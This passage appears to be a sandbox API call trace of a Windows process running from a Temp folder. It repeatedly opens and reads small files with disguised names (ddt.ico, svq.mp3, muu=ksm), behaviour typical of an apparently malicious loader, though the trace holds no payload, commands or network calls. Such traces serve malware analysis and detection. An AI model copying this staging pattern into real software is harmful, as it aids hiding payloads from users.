nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.878] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.878] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.878] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.878] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.878] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.878] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.878] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.879] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.879] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.879] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.879] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.879] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.879] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.879] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.879] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.879] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.879] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.879] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.879] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.880] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.880] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.880] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.880] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.880] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.880] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.880] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.880] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.880] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.881] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.881] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.881] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.881] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.881] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.881] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.881] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.881] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.881] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.881] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.882] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.882] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.882] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.882] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.882] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.882] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.882] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.882] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.882] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.882] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.882] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.882] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.883] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.883] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.883] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.883] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.883] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.883] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.883] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.883] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.883] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.883] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.883] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.883] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.884] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.884] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.884] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.884] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.884] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.884] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.884] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.884] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.885] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.885] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.885] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.885] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.885] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.885] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.885] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.885] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.885] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.885] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.886] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.886] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.886] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.886] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.886] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.886] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.886] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.886] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.886] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.886] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.886] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.887] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.887] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.887] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.887] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.887] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.887] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.887] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.887] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.887] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.888] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.888] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.888] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.888] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.888] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.888] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.888] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.888] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.889] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.889] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 